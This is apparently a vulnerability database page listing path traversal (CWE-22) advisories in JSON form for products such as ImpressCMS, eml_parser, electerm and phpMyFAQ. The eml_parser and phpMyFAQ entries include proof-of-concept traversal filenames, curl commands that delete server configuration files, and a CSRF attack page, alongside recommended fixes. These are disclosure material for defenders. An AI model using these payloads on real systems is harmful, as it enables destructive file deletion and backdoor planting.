CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13051 vulnerabilities reference this CWE, most recent first.
GHSA-3896-FHMW-QP2V
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37ACS Advanced Comment System 1.0 is affected by Directory Traversal via an advanced_component_system/index.php?ACS_path=..%2f URI.
{
"affected": [],
"aliases": [
"CVE-2020-35598"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-23T19:15:00Z",
"severity": "HIGH"
},
"details": "ACS Advanced Comment System 1.0 is affected by Directory Traversal via an advanced_component_system/index.php?ACS_path=..%2f URI.",
"id": "GHSA-3896-fhmw-qp2v",
"modified": "2022-05-24T17:37:08Z",
"published": "2022-05-24T17:37:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35598"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2020/Dec/13"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-389P-FCHR-Q2MG
Vulnerability from github – Published: 2022-02-15 00:02 – Updated: 2022-02-25 17:59ImpressCMS before 1.4.2 allows unauthenticated remote code execution via ...../// directory traversal in origName or imageName, leading to unsafe interaction with the CKEditor processImage.php script. The payload may be placed in PHP_SESSION_UPLOAD_PROGRESS when the PHP installation supports upload_progress.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "impresscms/impresscms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24977"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-02-25T17:59:00Z",
"nvd_published_at": "2022-02-14T12:15:00Z",
"severity": "CRITICAL"
},
"details": "ImpressCMS before 1.4.2 allows unauthenticated remote code execution via ...../// directory traversal in origName or imageName, leading to unsafe interaction with the CKEditor processImage.php script. The payload may be placed in PHP_SESSION_UPLOAD_PROGRESS when the PHP installation supports upload_progress.",
"id": "GHSA-389p-fchr-q2mg",
"modified": "2022-02-25T17:59:00Z",
"published": "2022-02-15T00:02:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24977"
},
{
"type": "WEB",
"url": "https://github.com/ImpressCMS/impresscms/commit/a66d7bb499faafab803e24833606028fa0ba4261"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImpressCMS/impresscms"
},
{
"type": "WEB",
"url": "https://github.com/ImpressCMS/impresscms/compare/1.4.1...v1.4.2"
},
{
"type": "WEB",
"url": "https://r0.haxors.org/posts?id=8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in ImpressCMS"
}
GHSA-389R-RCCM-H3H5
Vulnerability from github – Published: 2026-03-05 00:16 – Updated: 2026-03-09 15:49Summary
The official example script examples/recursively_extract_attachments.py contains a path traversal vulnerability that allows arbitrary file write outside the intended output directory. Attachment filenames extracted from parsed emails are directly used to construct output file paths without any sanitization, allowing an attacker-controlled filename to escape the target directory.
Details
File: examples/recursively_extract_attachments.py
Lines: 61–64
for a in m['attachment']:
out_filepath = out_path / a['filename'] # No sanitization
print(f'\tWriting attachment: {out_filepath}')
with out_filepath.open('wb') as a_out:
a_out.write(base64.b64decode(a['raw']))
The value a['filename'] is attacker-controlled via crafted email attachment headers:
Content-Disposition: attachment; filename="../outside/pwned.txt"
No path normalization or boundary validation is performed before writing.
PoC
- Create a malicious
.emlfile:
Content-Disposition: attachment; filename="../outside/pwned.txt"
- Run the example script:
python recursively_extract_attachments.py -p ./emails -o ./safe
- Expected:
./safe/pwned.txt - Actual:
./outside/pwned.txt← written outside the intended directory
Verified on Kali Linux with eml_parser installed via pip in a virtual environment.
Impact
This vulnerability is limited to the example script only and does not affect the core eml_parser library. However, as the script is part of the official repository and is likely to be adapted for production use, an attacker supplying a crafted email could achieve arbitrary file write within the execution context.
Potential attack scenarios include:
- Cron job injection: filename="../../etc/cron.d/backdoor"
- Web shell upload: filename="../../var/www/html/shell.php"
- SSH key injection: filename="../../home/user/.ssh/authorized_keys"
Recommended Fix
import os.path
for a in m['attachment']:
filename = os.path.basename(a['filename'])
out_filepath = out_path / filename
if not out_filepath.resolve().is_relative_to(out_path.resolve()):
print(f'[!] Skipping suspicious filename: {a["filename"]}')
continue
print(f'\tWriting attachment: {out_filepath}')
with out_filepath.open('wb') as a_out:
a_out.write(base64.b64decode(a['raw']))
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "eml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29780"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T00:16:57Z",
"nvd_published_at": "2026-03-07T16:15:55Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe official example script `examples/recursively_extract_attachments.py` contains a path traversal vulnerability that allows arbitrary file write outside the intended output directory. Attachment filenames extracted from parsed emails are directly used to construct output file paths without any sanitization, allowing an attacker-controlled filename to escape the target directory.\n\n### Details\nFile: `examples/recursively_extract_attachments.py`\nLines: 61\u201364\n```python\nfor a in m[\u0027attachment\u0027]:\n out_filepath = out_path / a[\u0027filename\u0027] # No sanitization\n print(f\u0027\\tWriting attachment: {out_filepath}\u0027)\n with out_filepath.open(\u0027wb\u0027) as a_out:\n a_out.write(base64.b64decode(a[\u0027raw\u0027]))\n```\n\nThe value `a[\u0027filename\u0027]` is attacker-controlled via crafted email attachment headers:\n```\nContent-Disposition: attachment; filename=\"../outside/pwned.txt\"\n```\n\nNo path normalization or boundary validation is performed before writing.\n\n### PoC\n1. Create a malicious `.eml` file:\n```\nContent-Disposition: attachment; filename=\"../outside/pwned.txt\"\n```\n2. Run the example script:\n```\npython recursively_extract_attachments.py -p ./emails -o ./safe\n```\n3. Expected: `./safe/pwned.txt` \n4. Actual: `./outside/pwned.txt` \u2190 written outside the intended directory\n\nVerified on Kali Linux with eml_parser installed via pip in a virtual environment.\n\n### Impact\nThis vulnerability is limited to the **example script only** and does not affect the core eml_parser library. However, as the script is part of the official repository and is likely to be adapted for production use, an attacker supplying a crafted email could achieve arbitrary file write within the execution context.\n\nPotential attack scenarios include:\n- Cron job injection: `filename=\"../../etc/cron.d/backdoor\"`\n- Web shell upload: `filename=\"../../var/www/html/shell.php\"`\n- SSH key injection: `filename=\"../../home/user/.ssh/authorized_keys\"`\n\n### Recommended Fix\n```python\nimport os.path\n\nfor a in m[\u0027attachment\u0027]:\n filename = os.path.basename(a[\u0027filename\u0027])\n out_filepath = out_path / filename\n\n if not out_filepath.resolve().is_relative_to(out_path.resolve()):\n print(f\u0027[!] Skipping suspicious filename: {a[\"filename\"]}\u0027)\n continue\n\n print(f\u0027\\tWriting attachment: {out_filepath}\u0027)\n with out_filepath.open(\u0027wb\u0027) as a_out:\n a_out.write(base64.b64decode(a[\u0027raw\u0027]))\n```",
"id": "GHSA-389r-rccm-h3h5",
"modified": "2026-03-09T15:49:19Z",
"published": "2026-03-05T00:16:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GOVCERT-LU/eml_parser/security/advisories/GHSA-389r-rccm-h3h5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29780"
},
{
"type": "WEB",
"url": "https://github.com/GOVCERT-LU/eml_parser/issues/88"
},
{
"type": "WEB",
"url": "https://github.com/GOVCERT-LU/eml_parser/commit/99af03a09a90aaaaadd0ed2ffb5eea46d1ea2cc9"
},
{
"type": "PACKAGE",
"url": "https://github.com/GOVCERT-LU/eml_parser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "eml_parser: Path Traversal in Official Example Script Leads to Arbitrary File Write"
}
GHSA-38CV-CH3V-J5CW
Vulnerability from github – Published: 2024-05-08 15:30 – Updated: 2025-10-22 00:33Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz.This issue affects Apache OFBiz: before 18.12.13.
Users are recommended to upgrade to version 18.12.13, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2024-32113"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-08T15:15:10Z",
"severity": "CRITICAL"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Apache OFBiz.This issue affects Apache OFBiz: before 18.12.13.\n\nUsers are recommended to upgrade to version 18.12.13, which fixes the issue.",
"id": "GHSA-38cv-ch3v-j5cw",
"modified": "2025-10-22T00:33:02Z",
"published": "2024-05-08T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32113"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/OFBIZ-13006"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrd"
},
{
"type": "WEB",
"url": "https://ofbiz.apache.org/download.html"
},
{
"type": "WEB",
"url": "https://ofbiz.apache.org/security.html"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-32113"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/05/09/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-38G7-CPH9-J9G7
Vulnerability from github – Published: 2022-05-01 18:35 – Updated: 2022-05-01 18:35Directory traversal vulnerability in admin/inc/help.php in ZZ:FlashChat 3.1 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the file parameter.
{
"affected": [],
"aliases": [
"CVE-2007-5620"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-10-22T19:46:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in admin/inc/help.php in ZZ:FlashChat 3.1 and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the file parameter.",
"id": "GHSA-38g7-cph9-j9g7",
"modified": "2022-05-01T18:35:01Z",
"published": "2022-05-01T18:35:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5620"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/37293"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4546"
},
{
"type": "WEB",
"url": "http://osvdb.org/44751"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26135"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3570"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-38J7-23HF-9MHC
Vulnerability from github – Published: 2026-07-02 19:20 – Updated: 2026-07-02 19:20Impact
A path traversal vulnerability exists in the Zmodem and Trzsz file download handlers in electerm. When receiving files via Zmodem or Trzsz protocols, electerm uses the remote-supplied filename directly in path.join() with the user-selected download directory without sanitization.
A malicious SSH server or remote shell process can send a specially crafted filename such as ../escaped.txt to escape the user-selected download directory and write files to arbitrary locations on the user's filesystem, subject to process permissions.
Attack scenario:
1. User connects to a malicious SSH server
2. Attacker initiates a Zmodem or Trzsz file transfer
3. Attacker supplies a traversal filename (e.g., ../../.bashrc, ../escaped.txt)
4. User accepts the transfer and selects a download directory
5. File is written outside the selected directory, potentially overwriting sensitive files
Affected components:
- src/app/server/zmodem.js - prepareReceiveFile() at line 736
- src/app/server/trzsz.js - getUniqueFilePath() at line 559, openSaveFile() callback, and savedFilePaths mapping
Patches
- https://github.com/electerm/electerm/commit/fde153d677a170c5816368f6586647f3af4ef284
Workarounds
If upgrading is not immediately possible, users can mitigate this vulnerability by:
1. Only connecting to trusted SSH servers
2. Rejecting or canceling any incoming Zmodem or Trzsz file transfers from untrusted sources
3. Avoiding the use of Zmodem (sz/rz) and Trzsz (trz/tsz) commands on untrusted servers
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.0"
},
"package": {
"ecosystem": "npm",
"name": "electerm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49253"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:20:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nA path traversal vulnerability exists in the Zmodem and Trzsz file download handlers in electerm. When receiving files via Zmodem or Trzsz protocols, electerm uses the remote-supplied filename directly in `path.join()` with the user-selected download directory without sanitization.\n\nA malicious SSH server or remote shell process can send a specially crafted filename such as `../escaped.txt` to escape the user-selected download directory and write files to arbitrary locations on the user\u0027s filesystem, subject to process permissions.\n\n**Attack scenario:**\n1. User connects to a malicious SSH server\n2. Attacker initiates a Zmodem or Trzsz file transfer\n3. Attacker supplies a traversal filename (e.g., `../../.bashrc`, `../escaped.txt`)\n4. User accepts the transfer and selects a download directory\n5. File is written outside the selected directory, potentially overwriting sensitive files\n\n**Affected components:**\n- `src/app/server/zmodem.js` - `prepareReceiveFile()` at line 736\n- `src/app/server/trzsz.js` - `getUniqueFilePath()` at line 559, `openSaveFile()` callback, and `savedFilePaths` mapping\n\n### Patches\n\n- https://github.com/electerm/electerm/commit/fde153d677a170c5816368f6586647f3af4ef284\n\n### Workarounds\n\n\nIf upgrading is not immediately possible, users can mitigate this vulnerability by:\n1. Only connecting to trusted SSH servers\n2. Rejecting or canceling any incoming Zmodem or Trzsz file transfers from untrusted sources\n3. Avoiding the use of Zmodem (`sz`/`rz`) and Trzsz (`trz`/`tsz`) commands on untrusted servers",
"id": "GHSA-38j7-23hf-9mhc",
"modified": "2026-07-02T19:20:20Z",
"published": "2026-07-02T19:20:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electerm/electerm/security/advisories/GHSA-38j7-23hf-9mhc"
},
{
"type": "WEB",
"url": "https://github.com/electerm/electerm/commit/fde153d677a170c5816368f6586647f3af4ef284"
},
{
"type": "PACKAGE",
"url": "https://github.com/electerm/electerm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "electerm has Path Traversal in Zmodem and Trzsz Download Filename Handling"
}
GHSA-38JQ-W3G8-JPC9
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2023-02-02 21:33A path traversal flaw was found in spacewalk-proxy, all versions through 2.8, in the way the proxy processes cached client tokens. A remote, unauthenticated attacker could use this flaw to test the existence of arbitrary files, if they have access to the proxy's filesystem, or can execute arbitrary code in the context of the httpd process.
{
"affected": [],
"aliases": [
"CVE-2019-10137"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-02T20:15:00Z",
"severity": "CRITICAL"
},
"details": "A path traversal flaw was found in spacewalk-proxy, all versions through 2.8, in the way the proxy processes cached client tokens. A remote, unauthenticated attacker could use this flaw to test the existence of arbitrary files, if they have access to the proxy\u0027s filesystem, or can execute arbitrary code in the context of the httpd process.",
"id": "GHSA-38jq-w3g8-jpc9",
"modified": "2023-02-02T21:33:47Z",
"published": "2022-05-24T16:49:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10137"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1663"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2019-10137"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1702604"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-38M8-XRFJ-V38X
Vulnerability from github – Published: 2026-04-01 22:30 – Updated: 2026-04-06 17:18Summary
The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66:
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
// ...
$data = json_decode($request->getContent());
$action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
if ($action === 'fileRemove') {
$file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
$file = PMF_CONTENT_DIR . '/user/images/' . $file;
if (file_exists($file)) {
unlink($file);
}
// Returns success without checking if deletion was within intended directory
}
}
Root Causes:
1. No path traversal prevention: FILTER_SANITIZE_SPECIAL_CHARS does not remove or encode ../ sequences. It only encodes HTML special characters.
2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48.
3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory.
4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names:
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
// Rejects files with path traversal sequences
}
The FilesystemStorage::normalizePath() method also properly validates paths:
foreach ($segments as $segment) {
if ($segment === '..' || $segment === '') {
throw new StorageException('Invalid storage path.');
}
}
PoC
Direct exploitation (requires authenticated admin session):
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../.htaccess"}'
CSRF exploitation (attacker hosts this HTML page):
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
method: 'GET',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'fileRemove',
name: '../../../content/core/config/database.php'
}),
credentials: 'include'
});
</script>
</body>
</html>
When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting
content/core/config/database.phpcauses total application failure (database connection loss). - Security bypass: Deleting
.htaccessorweb.configcan expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem.
- Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.
Remediation
- Add path traversal validation:
if ($action === 'fileRemove') {
$file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
$targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
$allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');
if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
}
if (file_exists($targetPath)) {
unlink($targetPath);
}
}
- Add CSRF protection:
if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}
- Change HTTP method to POST or DELETE to align with proper HTTP semantics.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34728"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T22:30:32Z",
"nvd_published_at": "2026-04-02T15:16:41Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`\u0026`, `\u0027`, `\"`, `\u003c`, `\u003e`) and characters with ASCII value \u003c 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php`\n\n**Lines 43-66:**\n```php\n#[Route(path: \u0027media-browser\u0027, name: \u0027admin.api.media.browser\u0027, methods: [\u0027GET\u0027])]\npublic function index(Request $request): JsonResponse|Response\n{\n $this-\u003euserHasPermission(PermissionType::FAQ_EDIT);\n // ...\n $data = json_decode($request-\u003egetContent());\n $action = Filter::filterVar($data-\u003eaction, FILTER_SANITIZE_SPECIAL_CHARS);\n\n if ($action === \u0027fileRemove\u0027) {\n $file = Filter::filterVar($data-\u003ename, FILTER_SANITIZE_SPECIAL_CHARS);\n $file = PMF_CONTENT_DIR . \u0027/user/images/\u0027 . $file;\n\n if (file_exists($file)) {\n unlink($file);\n }\n // Returns success without checking if deletion was within intended directory\n }\n}\n```\n\n**Root Causes:**\n1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.\n2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.\n3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.\n4. **HTTP method mismatch:** The route is defined as `methods: [\u0027GET\u0027]` but reads the request body via `$request-\u003egetContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.\n\n**Comparison with secure implementation in the same codebase:**\n\nThe `ImageController::upload()` method (same directory) properly validates file names:\n```php\nif (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", (string) $file-\u003egetClientOriginalName())) {\n // Rejects files with path traversal sequences\n}\n```\n\nThe `FilesystemStorage::normalizePath()` method also properly validates paths:\n\n```php\nforeach ($segments as $segment) {\n if ($segment === \u0027..\u0027 || $segment === \u0027\u0027) {\n throw new StorageException(\u0027Invalid storage path.\u0027);\n }\n}\n```\n\n### PoC\n\n**Direct exploitation (requires authenticated admin session):**\n```bash\n# Delete the database configuration file\ncurl -X GET \u0027https://target.example.com/admin/api/media-browser\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Cookie: PHPSESSID=valid_admin_session\u0027 \\\n -d \u0027{\"action\":\"fileRemove\",\"name\":\"../../../content/core/config/database.php\"}\u0027\n\n# Delete the .htaccess file to disable Apache security rules\ncurl -X GET \u0027https://target.example.com/admin/api/media-browser\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Cookie: PHPSESSID=valid_admin_session\u0027 \\\n -d \u0027{\"action\":\"fileRemove\",\"name\":\"../../../.htaccess\"}\u0027\n```\n\n**CSRF exploitation (attacker hosts this HTML page):**\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch(\u0027https://target.example.com/admin/api/media-browser\u0027, {\n method: \u0027GET\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({\n action: \u0027fileRemove\u0027,\n name: \u0027../../../content/core/config/database.php\u0027\n }),\n credentials: \u0027include\u0027\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen an authenticated admin visits the attacker\u0027s page, the database configuration file (`database.php`) is deleted, effectively taking down the application.\n\n### Impact\n\n- **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss).\n- **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files.\n- **Data loss:** Arbitrary file deletion on the server filesystem.\n- **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.\n\n\n### Remediation\n\n1. **Add path traversal validation:**\n```php\nif ($action === \u0027fileRemove\u0027) {\n $file = basename(Filter::filterVar($data-\u003ename, FILTER_SANITIZE_SPECIAL_CHARS));\n $targetPath = realpath(PMF_CONTENT_DIR . \u0027/user/images/\u0027 . $file);\n $allowedDir = realpath(PMF_CONTENT_DIR . \u0027/user/images\u0027);\n\n if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {\n return $this-\u003ejson([\u0027error\u0027 =\u003e \u0027Invalid file path\u0027], Response::HTTP_BAD_REQUEST);\n }\n\n if (file_exists($targetPath)) {\n unlink($targetPath);\n }\n}\n```\n\n2. **Add CSRF protection:**\n```php\nif (!Token::getInstance($this-\u003esession)-\u003everifyToken(\u0027pmf-csrf-token\u0027, $request-\u003equery-\u003eget(\u0027csrf\u0027))) {\n return $this-\u003ejson([\u0027error\u0027 =\u003e \u0027Invalid CSRF token\u0027], Response::HTTP_UNAUTHORIZED);\n}\n```\n\n3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.",
"id": "GHSA-38m8-xrfj-v38x",
"modified": "2026-04-06T17:18:35Z",
"published": "2026-04-01T22:30:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34728"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController"
}
GHSA-38R6-7W5C-G3HJ
Vulnerability from github – Published: 2023-02-16 21:30 – Updated: 2023-02-28 21:30A relative path traversal vulnerability [CWE-23] in FortiWeb version 7.0.1 and below, 6.4 all versions, 6.3 all versions, 6.2 all versions may allow an authenticated user to obtain unauthorized access to files and data via specifically crafted web requests.
{
"affected": [],
"aliases": [
"CVE-2023-23778"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-16T19:15:00Z",
"severity": "MODERATE"
},
"details": "A relative path traversal vulnerability [CWE-23] in FortiWeb version 7.0.1 and below, 6.4 all versions, 6.3 all versions, 6.2 all versions may allow an authenticated user to obtain unauthorized access to files and data via specifically crafted web requests.",
"id": "GHSA-38r6-7w5c-g3hj",
"modified": "2023-02-28T21:30:17Z",
"published": "2023-02-16T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23778"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-22-142"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-38RP-V36C-G6C3
Vulnerability from github – Published: 2022-05-24 19:21 – Updated: 2022-05-24 19:21Acrobat RoboHelp Server versions 2020.0.1 (and earlier) are affected by a Path traversal vulnerability. The authenticated attacker can upload arbitrary files outside of the intended directory to cause remote code execution with privileges of user running Tomcat. Exploitation of this issue requires user interaction in that a victim must navigate to a planted file on the server.
{
"affected": [],
"aliases": [
"CVE-2021-42727"
],
"database_specific": {
"cwe_ids": [
"CWE-120",
"CWE-22",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-22T16:15:00Z",
"severity": "HIGH"
},
"details": "Acrobat RoboHelp Server versions 2020.0.1 (and earlier) are affected by a Path traversal vulnerability. The authenticated attacker can upload arbitrary files outside of the intended directory to cause remote code execution with privileges of user running Tomcat. Exploitation of this issue requires user interaction in that a victim must navigate to a planted file on the server.",
"id": "GHSA-38rp-v36c-g6c3",
"modified": "2022-05-24T19:21:11Z",
